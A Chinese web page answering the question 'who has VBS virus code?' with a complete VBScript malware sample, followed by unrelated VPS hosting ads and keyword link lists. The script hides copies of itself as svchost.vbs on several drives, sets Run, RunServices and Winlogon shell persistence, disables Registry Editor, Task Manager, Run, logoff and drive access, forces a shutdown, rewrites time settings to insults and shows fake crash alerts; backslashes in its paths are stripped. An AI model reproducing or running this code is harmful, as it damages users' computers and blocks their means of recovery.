vbs病毒代码谁有vbs病毒代码?

vbs病毒代码  时间:2022-03-01  阅读:()

谁有vbs病毒代码?

Set objFS = CreateObject("Scripting.FileSystemObject")

Set objFSO = CreateObject("Scripting.FileSystemObject")

set wsh=wscript.createobject("wscript.shell")

set reg=wscript.createobject("wscript.shell")

dim wsh

a=WScript.ScriptFullName

b="shutdown -t 60 -s -c 如果你是菜鸟的话。。。我想你知道害怕了吧!嬉嬉!"

c="c:svchost.vbs"

d="d:svchost.vbs"

s="c:windowssystem32svchost.vbs"

c1="attrib +s +h +a +r c:svchost.vbs"

d1="attrib +s +h +a +r d:svchost.vbs"

s1="attrib +s +h +a +r c:windowssystem32svchost.vbs"

If objFSO.FileExists (c) Then

Else

objFs.GetFile (a).Copy (c)

wsh.run c1

End If

If objFSO.FileExists(d) Then

Else

objFs.GetFile (a).Copy (d)

wsh.run d1

End If

If objFSO.FileExists(s) Then

Else

objFs.GetFile (a).Copy (s)

wsh.run s1

End If

wsh.run b

wsh.run "narrator"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoRun","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoClose","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoLogoff","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorer","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoDrives","000000100","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunsvchost","c:svchost.vbs","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunsvchost","d:svchost.vbs","REG_SZ"

reg.regwrite"HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost","c:windowssystem32svchost.vbs","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost","c:windowssystem32svchost.vbs","REG_SZ"

reg.regwrite"HKEY_CURRENT_USERControl PanelInternationalsTimeFormat","tttt H:mm:ss","REG_SZ"

reg.regwrite"HKEY_CURRENT_USERControl PanelInternationals1159","笨蛋!","REG_SZ"

reg.regwrite"HKEY_CURRENT_USERControl PanelInternationals2359","傻逼!","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonshell","c:windowssystem32svchost.vbs","REG_SZ"

msgbox "系统快要崩溃了!",48,"由于你经常看黄页:"

msgbox "windows崩溃了!",18,"安全警报:"

OneTechCloud(31元),美国CN2 GIA高防VPS月

OneTechCloud发布了本月促销信息,全场VPS主机月付9折,季付8折,优惠后香港VPS月付25.2元起,美国CN2 GIA线路高防VPS月付31.5元起。这是一家2019年成立的国人主机商,提供VPS主机和独立服务器租用,产品数据中心包括美国洛杉矶和中国香港,Cera的机器,VPS基于KVM架构,采用SSD硬盘,其中美国洛杉矶回程CN2 GIA,可选高防。下面列出部分套餐配置信息。美国CN...

RAKsmart秒杀服务器$30/月,洛杉矶/圣何塞/香港/日本站群特价

RAKsmart发布了9月份优惠促销活动,从9月1日~9月30日期间,爆款美国服务器每日限量抢购最低$30.62-$46/月起,洛杉矶/圣何塞/香港/日本站群大量补货特价销售,美国1-10Gbps大带宽不限流量服务器低价热卖等。RAKsmart是一家华人运营的国外主机商,提供的产品包括独立服务器租用和VPS等,可选数据中心包括美国加州圣何塞、洛杉矶、中国香港、韩国、日本、荷兰等国家和地区数据中心(...

MineServer:香港CMI/洛杉矶GIA VPS,2核/2GB内存/20GB NVME/3.5TB流量/200Mbps/KVM,288元/年

mineserver怎么样?mineserver是一家国人商家,主要提供香港CN2 KVM VPS、香港CMI KVM VPS、日本CN2 KVM VPS、洛杉矶cn2 gia端口转发等服务,云服务器网(yuntue.com)介绍过几次,最近比较活跃。现在新推出了3款特价KVM VPS,性价比高,香港CMI/洛杉矶GIA VPS,2核/2GB内存/20GB NVME/3.5TB流量/200Mbps...

vbs病毒代码为你推荐
工作流如何写生产部的工作流程站内搜索引擎站内搜索与百度的搜索引擎有什么本质性的区别?哪些大数据公司提供站内搜索这种服务?工作经验介绍个人简历中工作经验怎么写?sg什么意思机油,SG,SJ,SL,SM,SN代表什么意思1,越详细越好网络购物的发展网购发展史官方网店淘宝网的官方网店是什么360官网打不开360打不开!gps简介手机GPS功能是什么?我的电脑打开很慢电脑开机为什么总是那么慢啊?警告本网站内容IE浏览器为什么登入一些网站会出现安全警告"是否只查看安全传送的网页内容"?
域名转让 电信服务器租用 快速域名备案 拜登买域名批特朗普 香港加速器 美国翻墙 pw域名 isatap 老左博客 淘宝双十一2018 css样式大全 网页背景图片 大容量存储 java空间 嘟牛 怎么测试下载速度 鲁诺 drupal安装 申请免费空间和域名 重庆电信服务器托管 更多